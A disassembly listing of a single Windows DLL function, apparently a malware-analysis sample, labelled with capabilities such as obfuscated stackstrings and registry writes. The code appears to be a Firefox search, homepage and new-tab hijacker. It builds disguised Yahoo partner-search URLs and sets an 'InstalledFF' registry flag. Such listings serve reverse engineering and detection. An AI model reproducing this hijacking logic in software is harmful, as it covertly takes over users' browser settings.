Function at 0x10009a70
Capabilities:
Check for foreground window switch
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100430f5
mov eax, dword fs:[0]
push eax
sub esp, 0xb24
mov eax, dword [0x100695e8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 0xa4]
push 0x10061d60
lea ecx, [ebp - 0xb14]
mov dword [ebp - 4], 6
call fcn.1000b510
lea ecx, [ebp - 0xb04]
mov byte [ebp - 4], 7
call fcn.100546e0
mov byte [ebp - 4], 8
push dword [eax]
lea eax, [ebp - 0xb14]
push 0x10061d70
push eax
call fcn.1000c0d0
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0xb04]
add edx, 0xfffffff0
or ebx, 0xffffffff
add esp, 0xc
lea ecx, [edx + 0xc]
mov eax, ebx
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x10009b0a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x10061d60
push dword [ebp - 0xb14]
call fcn.10028591
add esp, 8
test eax, eax
jne 0x10009c57
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0xb14]
add edx, 0xfffffff0
mov dword [esi], 1
lea eax, [edx + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10009b4e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [ebp + 0x24], 0x10
jb 0x10009b5f
push dword [ebp + 0x10]
call fcn.1002501c
add esp, 4
cmp dword [ebp + 0x3c], 0x10
mov dword [ebp + 0x24], 0xf
mov dword [ebp + 0x20], 0
mov byte [ebp + 0x10], 0
jb 0x10009b82
push dword [ebp + 0x28]
call fcn.1002501c
add esp, 4
cmp dword [ebp + 0x54], 0x10
mov dword [ebp + 0x3c], 0xf
mov dword [ebp + 0x38], 0
mov byte [ebp + 0x28], 0
jb 0x10009ba5
push dword [ebp + 0x40]
call fcn.1002501c
add esp, 4
cmp dword [ebp + 0x6c], 0x10
mov dword [ebp + 0x54], 0xf
mov dword [ebp + 0x50], 0
mov byte [ebp + 0x40], 0
jb 0x10009bc8
push dword [ebp + 0x58]
call fcn.1002501c
add esp, 4
cmp dword [ebp + 0x84], 0x10
mov dword [ebp + 0x6c], 0xf
mov dword [ebp + 0x68], 0
mov byte [ebp + 0x58], 0
jb 0x10009bee
push dword [ebp + 0x70]
call fcn.1002501c
add esp, 4
cmp dword [ebp + 0x9c], 0x10
mov dword [ebp + 0x84], 0xf
mov dword [ebp + 0x80], 0
mov byte [ebp + 0x70], 0
jb 0x10009c1d
push dword [ebp + 0x88]
call fcn.1002501c
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 0xa0]
add edx, 0xfffffff0
mov dword [ebp + 0x9c], 0xf
mov dword [ebp + 0x98], 0
mov byte [ebp + 0x88], 0
lea eax, [edx + 0xc]
lock xadd dword [eax], ebx
dec ebx
test ebx, ebx
jmp 0x1000a860
push 4
lea eax, [ebp - 0xb20]
push eax
push 4
push str.InstalledFF
push str.SoftwareITA
push 0x80000002
mov dword [ebp - 0xb20], 0
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
lea ecx, [ebp - 0xaf4]
mov dword [ebp - 0xb24], ebx
call section..df06rt
lea eax, [ebp - 0xb1c]
push eax
lea ecx, [ebp - 0xaf4]
mov byte [ebp - 4], 9
call fcn.100521d0
push ebx
mov byte [ebp - 4], 0xa
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
mov eax, dword [0x10069550]
mov ecx, 0x10069550
sete byte [ebp - 0xb05]
mov dword [ebp - 0x83], 0x73267325
mov word [ebp - 0xa7], 0x6e6f
mov dword [ebp - 0xcb], 0x6f656726
mov word [ebp - 0xcd], 0x7325
mov byte [ebp - 0xd8], 0x63
mov dword [ebp - 0xbf], 0x253d6563
mov word [ebp - 0xad], 0x5673
mov dword [ebp - 0x95], 0x253d6e6f
mov dword [ebp - 0x7b], 0x73253d44
mov word [ebp - 0x9d], 0x6573
mov word [ebp - 0xaa], 0x7372
mov dword [ebp - 0x8d], 0x65567473
mov dword [ebp - 0x9a], 0x73726556
mov dword [ebp - 0xd2], 0x44496e67
mov dword [ebp - 0xa5], 0x2673253d
mov word [ebp - 0x90], 0x6926
mov dword [ebp - 0xc7], 0x2673253d
mov word [ebp - 0xb2], 0x253d
mov word [ebp - 0xd4], 0x6961
mov dword [ebp - 0xa1], 0x776f7262
mov word [ebp - 0xaf], 0x6f26
mov word [ebp - 0xc2], 0x756f
mov word [ebp - 0xb4], 0x4449
mov dword [ebp - 0x7f], 0x49737365
mov dword [ebp - 0xb9], 0x65737526
mov dword [ebp - 0x89], 0x6f697372
mov byte [ebp - 0x9b], 0x72
mov byte [ebp - 0x96], 0x69
mov byte [ebp - 0x8e], 0x6e
mov word [ebp - 0xbb], 0x7325
mov byte [ebp - 0xa8], 0x69
mov word [ebp - 0x85], 0x3d6e
mov byte [ebp - 0xab], 0x65
mov byte [ebp - 0x77], 0
mov byte [ebp - 0xb0], 0x73
mov word [ebp - 0xd7], 0x6d61
mov byte [ebp - 0xce], 0x3d
mov byte [ebp - 0xc0], 0x72
mov byte [ebp - 0x91], 0x73
mov byte [ebp - 0xb5], 0x72
mov byte [ebp - 0xd5], 0x70
mov byte [ebp - 0xc3], 0x73
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0xb04], eax
mov byte [ebp - 4], 0xb
cmp dword [ebp + 0x9c], 0x10
lea ebx, [ebp + 0x88]
cmovae ebx, dword [ebp + 0x88]
cmp dword [ebp + 0x84], 0x10
lea edi, [ebp + 0x70]
cmovae edi, dword [ebp + 0x70]
cmp dword [ebp + 0x6c], 0x10
push ebx
push edi
push dword [ebp - 0xb14]
lea esi, [ebp + 0x58]
cmovae esi, dword [ebp + 0x58]
cmp dword [ebp + 0x54], 0x10
lea edx, [ebp + 0x40]
cmovae edx, dword [ebp + 0x40]
cmp dword [ebp + 0x3c], 0x10
push esi
lea ecx, [ebp + 0x28]
cmovae ecx, dword [ebp + 0x28]
cmp dword [ebp + 0x24], 0x10
push edx
push ecx
lea eax, [ebp + 0x10]
cmovae eax, dword [ebp + 0x10]
push eax
lea eax, [ebp - 0xd8]
push eax
lea eax, [ebp - 0xb04]
push eax
call fcn.1000c0d0
mov edi, dword [ebp - 0xb04]
add esp, 0x24
cmp byte [ebp + 0xc], 0
je 0x1000a287
mov eax, dword [0x10069550]
mov ecx, 0x10069550
mov dword [ebp - 0x114], 0x72617073
mov word [ebp - 0x100], 0x3030
mov byte [ebp - 0xf8], 0x3d
mov dword [ebp - 0xe2], 0x45545f48
mov word [ebp - 0x106], 0x3d70
mov word [ebp - 0x12d], 0x6863
mov word [ebp - 0x139], 0x7370
mov dword [ebp - 0x10e], 0x26726d6f
mov dword [ebp - 0xf5], 0x72617026
mov word [ebp - 0xfa], 0x6570
mov dword [ebp - 0x125], 0x6d6f632e
mov dword [ebp - 0x121], 0x7368792f
mov dword [ebp - 0x132], 0x6165732e
mov dword [ebp - 0x11d], 0x6165732f
mov word [ebp - 0xfd], 0x7426
mov dword [ebp - 0xf1], 0x3d316d61
mov dword [ebp - 0x118], 0x683f6863
mov dword [ebp - 0x12b], 0x6861792e
mov dword [ebp - 0xec], 0x70267325
mov word [ebp - 0xdd], 0x4d
mov word [ebp - 0x13c], 0x7468
mov dword [ebp - 0xe6], 0x43524145
mov byte [ebp - 0x13a], 0x74
mov word [ebp - 0x127], 0x6f6f
mov dword [ebp - 0x136], 0x73752f2f
mov dword [ebp - 0x10a], 0x6d697368
mov word [ebp - 0x103], 0x7368
mov byte [ebp - 0xfe], 0x31
mov byte [ebp - 0x12e], 0x72
mov word [ebp - 0xf7], 0x7325
mov word [ebp - 0xe8], 0x533d
mov byte [ebp - 0x104], 0x79
mov byte [ebp - 0xfb], 0x79
mov byte [ebp - 0xde], 0x52
mov byte [ebp - 0x101], 0x2d
mov word [ebp - 0x110], 0x3d74
mov byte [ebp - 0x119], 0x72
mov byte [ebp - 0xed], 0x25
mov byte [ebp - 0x137], 0x3a
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0xb0c], eax
mov byte [ebp - 4], 0xc
cmp dword [ebp + 0x24], 0x10
lea eax, [ebp + 0x10]
cmovae eax, dword [ebp + 0x10]
push eax
lea eax, [ebp - 0x13c]
push eax
lea eax, [ebp - 0xb0c]
push eax
call fcn.1000c0d0
mov eax, dword [0x10069550]
add esp, 0xc
mov ecx, 0x10069550
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0xaf8], eax
push str.firefox_search
lea eax, [ebp - 0xaf8]
push edi
push eax
mov byte [ebp - 4], 0xd
call fcn.1000c0d0
sub esp, 0xc
mov ecx, esp
push dword [ebp - 0xaf8]
call fcn.1000e840
lea eax, [ebp - 0x154]
push eax
call fcn.10008880
add esp, 0x1c
mov byte [ebp - 4], 0xe
cmp dword [eax + 0x14], 0x10
jb 0x1000a0ac
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0xaf8]
call fcn.1000b5b0
lea ecx, [ebp - 0x154]
mov byte [ebp - 4], 0xd
call fcn.1000e900
mov eax, dword [0x10069550]
mov ecx, 0x10069550
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0xafc], eax
mov byte [ebp - 4], 0xf
push dword [ebp - 0xaf8]
lea eax, [ebp - 0xafc]
push dword [ebp - 0xb0c]
push eax
call fcn.1000c0d0
add esp, 0xc
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0xb00]
mov dword [ebp - 0x58], 0x792e6863
mov word [ebp - 0x19], 0x4843
mov dword [ebp - 0x2c], 0x6d72633d
mov dword [ebp - 0x16], 0x4d524554
mov word [ebp - 0x34], 0x6e6f
mov dword [ebp - 0x1e], 0x4145533d
mov word [ebp - 0x31], 0x7061
mov word [ebp - 0x4b], 0x7573
mov dword [ebp - 0x27], 0x6f632673
mov dword [ebp - 0x63], 0x73707474
mov dword [ebp - 0x39], 0x6a78663d
mov byte [ebp - 0x17], 0x5f
mov dword [ebp - 0x50], 0x6d6f632e
mov dword [ebp - 0x3d], 0x74757074
mov word [ebp - 0x5c], 0x6573
mov byte [ebp - 0x28], 0x61
mov dword [ebp - 0x23], 0x6e616d6d
mov dword [ebp - 0x45], 0x6d6f7268
mov dword [ebp - 0x41], 0x756f3f65
mov dword [ebp - 0x49], 0x632f6767
mov byte [ebp - 0x35], 0x73
mov word [ebp - 0x5f], 0x2f3a
mov byte [ebp - 0x5d], 0x2f
mov word [ebp - 0x2e], 0x6469
mov byte [ebp - 0x1a], 0x52
mov byte [ebp - 0x32], 0x26
mov dword [ebp - 0x54], 0x6f6f6861
mov byte [ebp - 0x4c], 0x2f
mov byte [ebp - 0x2f], 0x70
mov byte [ebp - 0x64], 0x68
mov word [ebp - 0x5a], 0x7261
mov byte [ebp - 0x12], 0
mov byte [ebp - 0x1f], 0x64
call fcn.1000b510
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0xb00]
push ecx
add eax, 0xfffffff0
mov dword [ebp - 0xb18], esp
mov esi, esp
push eax
call fcn.1000de10
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x11
mov ecx, esp
mov dword [ebp - 0xb28], esp
push str.search.yahoo.com
call fcn.1000b510
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0xafc]
push ecx
add eax, 0xfffffff0
mov dword [ebp - 0xb30], esp
mov esi, esp
push eax
call fcn.1000de10
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x13
mov ecx, esp
mov dword [ebp - 0xb2c], esp
push str.us.search.yahoo.com
call fcn.1000b510
push ecx
mov ecx, esp
push str.Yahoo_powered_search
mov byte [ebp - 4], 0x14
call fcn.1000b510
lea ecx, [ebp - 0xaf4]
mov byte [ebp - 4], 0x10
call fcn.10053270
lea ecx, [ebp - 0xb00]
call fcn.1000e030
lea ecx, [ebp - 0xafc]
call fcn.1000e030
lea ecx, [ebp - 0xaf8]
call fcn.1000e030
lea ecx, [ebp - 0xb0c]
mov byte [ebp - 4], 0xb
call fcn.1000e030
mov bl, byte [ebp + 8]
test bl, bl
je 0x1000a5d1
mov eax, dword [0x10069550]
mov ecx, 0x10069550
mov dword [ebp - 0x5a], 0x6165732e
mov word [ebp - 0x29], 0x2631
mov dword [ebp - 0x56], 0x2e686372
mov dword [ebp - 0x1a], 0x25253d31
mov byte [ebp - 0x62], 0x74
mov dword [ebp - 0x30], 0x7368793d
mov dword [ebp - 0x5f], 0x752f2f3a
mov dword [ebp - 0x37], 0x73682672
mov word [ebp - 0x52], 0x6179
mov word [ebp - 0x2c], 0x302d
mov byte [ebp - 0x1d], 0x72
mov dword [ebp - 0x4f], 0x632e6f6f
mov dword [ebp - 0x4a], 0x68792f6d
mov word [ebp - 0x24], 0x3d65
mov word [ebp - 0x27], 0x7974
mov word [ebp - 0x42], 0x3f62
mov word [ebp - 0x45], 0x772f
mov dword [ebp - 0x21], 0x61702673
mov dword [ebp - 0x3d], 0x3d747261
mov word [ebp - 0x39], 0x6d6f
mov word [ebp - 0x40], 0x7368
mov word [ebp - 0x16], 0x73
mov word [ebp - 0x33], 0x6d69
mov word [ebp - 0x1c], 0x6d61
mov byte [ebp - 0x46], 0x73
mov byte [ebp - 0x50], 0x68
mov byte [ebp - 0x3e], 0x70
mov byte [ebp - 0x5b], 0x73
mov byte [ebp - 0x25], 0x70
mov word [ebp - 0x64], 0x7468
mov word [ebp - 0x61], 0x7370
mov byte [ebp - 0x2a], 0x30
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x43], 0x65
mov byte [ebp - 0x4b], 0x6f
mov byte [ebp - 0x22], 0x25
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0xb00], eax
mov byte [ebp - 4], 0x15
cmp dword [ebp + 0x24], 0x10
lea eax, [ebp + 0x10]
cmovae eax, dword [ebp + 0x10]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0xb00]
push eax
call fcn.1000c0d0
mov eax, dword [0x10069550]
add esp, 0xc
mov ecx, 0x10069550
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0xafc], eax
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0xafc]
push edi
push eax
mov word [ebp - 0x14c], 0x6f66
mov dword [ebp - 0x144], 0x65676170
mov word [ebp - 0x14f], 0x7269
mov byte [ebp - 0x150], 0x66
mov dword [ebp - 0x148], 0x656d6f68
mov byte [ebp - 0x14d], 0x65
mov byte [ebp - 0x140], 0
mov word [ebp - 0x14a], 0x2d78
call fcn.1000c0d0
mov eax, dword [0x10069550]
add esp, 0xc
mov ecx, 0x10069550
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0xaf8], eax
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0xaf8]
push edi
push eax
mov word [ebp - 0x67], 0x62
mov dword [ebp - 0x6c], 0x7477656e
mov dword [ebp - 0x73], 0x66657269
mov byte [ebp - 0x74], 0x66
mov byte [ebp - 0x68], 0x61
mov word [ebp - 0x6f], 0x786f
mov byte [ebp - 0x6d], 0x2d
call fcn.1000c0d0
sub esp, 0xc
mov ecx, esp
push dword [ebp - 0xafc]
call fcn.1000e840
lea eax, [ebp - 0x16c]
push eax
call fcn.10008880
add esp, 0x1c
mov byte [ebp - 4], 0x18
cmp dword [eax + 0x14], 0x10
jb 0x1000a486
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0xafc]
call fcn.1000b5b0
lea ecx, [ebp - 0x16c]
mov byte [ebp - 4], 0x17
call fcn.1000e900
sub esp, 0x18
mov ecx, esp
push dword [ebp - 0xaf8]
call fcn.1000e840
lea eax, [ebp - 0x16c]
push eax
call fcn.10008880
add esp, 0x1c
mov byte [ebp - 4], 0x19
cmp dword [eax + 0x14], 0x10
jb 0x1000a4cc
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0xaf8]
call fcn.1000b5b0
lea ecx, [ebp - 0x16c]
mov byte [ebp - 4], 0x17
call fcn.1000e900
mov eax, dword [0x10069550]
mov ecx, 0x10069550
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0xb18], eax
mov byte [ebp - 4], 0x1a
push dword [ebp - 0xafc]
mov esi, dword [ebp - 0xb00]
lea eax, [ebp - 0xb18]
push esi
push eax
call fcn.1000c0d0
mov eax, dword [0x10069550]
add esp, 0xc
mov ecx, 0x10069550
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0xb0c], eax
mov byte [ebp - 4], 0x1b
push dword [ebp - 0xaf8]
lea eax, [ebp - 0xb0c]
push esi
push eax
call fcn.1000c0d0
mov eax, dword [ebp - 0xb18]
add esp, 8
add eax, 0xfffffff0
mov esi, esp
push eax
call fcn.1000de10
add eax, 0x10
add esp, 4
lea ecx, [ebp - 0xaf4]
mov dword [esi], eax
call fcn.100520e0
mov eax, dword [ebp - 0xb0c]
push ecx
add eax, 0xfffffff0
mov esi, esp
push eax
call fcn.1000de10
add eax, 0x10
add esp, 4
lea ecx, [ebp - 0xaf4]
mov dword [esi], eax
call fcn.10051160
lea ecx, [ebp - 0xb0c]
call fcn.1000e030
lea ecx, [ebp - 0xb18]
call fcn.1000e030
lea ecx, [ebp - 0xaf8]
call fcn.1000e030
lea ecx, [ebp - 0xafc]
call fcn.1000e030
lea ecx, [ebp - 0xb00]
mov byte [ebp - 4], 0xb
call fcn.1000e030
push 4
lea eax, [ebp - 0xb20]
push eax
push 4
push str.InstalledFF
push str.SoftwareITA
push 0x80000002
mov dword [ebp - 0xb20], 1
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov eax, dword [ebp + 0xa0]
cmp dword [eax - 0xc], 0
je 0x1000a651
test bl, bl
je 0x1000a651
call fcn.100545e0
test eax, eax
je 0x1000a651
mov eax, dword [ebp - 0xb1c]
cmp dword [eax - 0xc], 0
jle 0x1000a62a
push 0xbb8
call sub.KERNEL32.dll_Sleep
mov eax, dword [ebp + 0xa0]
push 0
push ecx
add eax, 0xfffffff0
mov esi, esp
push eax
call fcn.1000de10
add eax, 0x10
add esp, 4
lea ecx, [ebp - 0xaf4]
mov dword [esi], eax
call fcn.10054850
mov eax, dword [ebp - 0xb1c]
mov dword [ebp - 0xb00], 0
cmp dword [eax - 0xc], 0
setg cl
test cl, cl
je 0x1000a6eb
push ecx
lea ecx, [ebp - 0xb00]
push ecx
push ecx
add eax, 0xfffffff0
mov esi, esp
push eax
call fcn.1000de10
add eax, 0x10
add esp, 4
lea ecx, [ebp - 0xaf4]
mov dword [esi], eax
call fcn.10052330
cmp byte [ebp - 0xb05], 0
jne 0x1000a6eb
mov ebx, dword [sym.imp.USER32.dll_GetForegroundWindow]
xor esi, esi
call ebx
lea eax, [ebp - 0xb04]
push eax
mov dword [ebp - 0xb04], 0
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [ebp - 0xb00]
cmp eax, dword [ebp - 0xb04]
je 0x1000a6e0
push 0x64
call sub.KERNEL32.dll_Sleep
inc esi
cmp esi, 0x12c
jl 0x1000a6a4
jmp 0x1000a6eb
mov ecx, dword [ebp - 0xb24]
call fcn.1000eb40
add edi, 0xfffffff0
or esi, 0xffffffff
mov byte [ebp - 4], 0xa
lea eax, [edi + 0xc]
mov ecx, esi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x1000a70b
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0xb1c]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x1000a72e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0xaf4]
call fcn.1004c190
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0xb14]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x1000a75c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [ebp + 0x24], 0x10
jb 0x1000a76d
push dword [ebp + 0x10]
call fcn.1002501c
add esp, 4
cmp dword [ebp + 0x3c], 0x10
mov dword [ebp + 0x24], 0xf
mov dword [ebp + 0x20], 0
mov byte [ebp + 0x10], 0
jb 0x1000a790
push dword [ebp + 0x28]
call fcn.1002501c
add esp, 4
cmp dword [ebp + 0x54], 0x10
mov dword [ebp + 0x3c], 0xf
mov dword [ebp + 0x38], 0
mov byte [ebp + 0x28], 0
jb 0x1000a7b3
push dword [ebp + 0x40]
call fcn.1002501c
add esp, 4
cmp dword [ebp + 0x6c], 0x10
mov dword [ebp + 0x54], 0xf
mov dword [ebp + 0x50], 0
mov byte [ebp + 0x40], 0
jb 0x1000a7d6
push dword [ebp + 0x58]
call fcn.1002501c
add esp, 4
cmp dword [ebp + 0x84], 0x10
mov dword [ebp + 0x6c], 0xf
mov dword [ebp + 0x68], 0
mov byte [ebp + 0x58], 0
jb 0x1000a7fc
push dword [ebp + 0x70]
call fcn.1002501c
add esp, 4
cmp dword [ebp + 0x9c], 0x10
mov dword [ebp + 0x84], 0xf
mov dword [ebp + 0x80], 0
mov byte [ebp + 0x70], 0
jb 0x1000a82b
push dword [ebp + 0x88]
call fcn.1002501c
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 0xa0]
add edx, 0xfffffff0
mov dword [ebp + 0x9c], 0xf
mov dword [ebp + 0x98], 0
mov byte [ebp + 0x88], 0
lea eax, [edx + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x1000a86a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10026aaf
mov esp, ebp
pop ebp
ret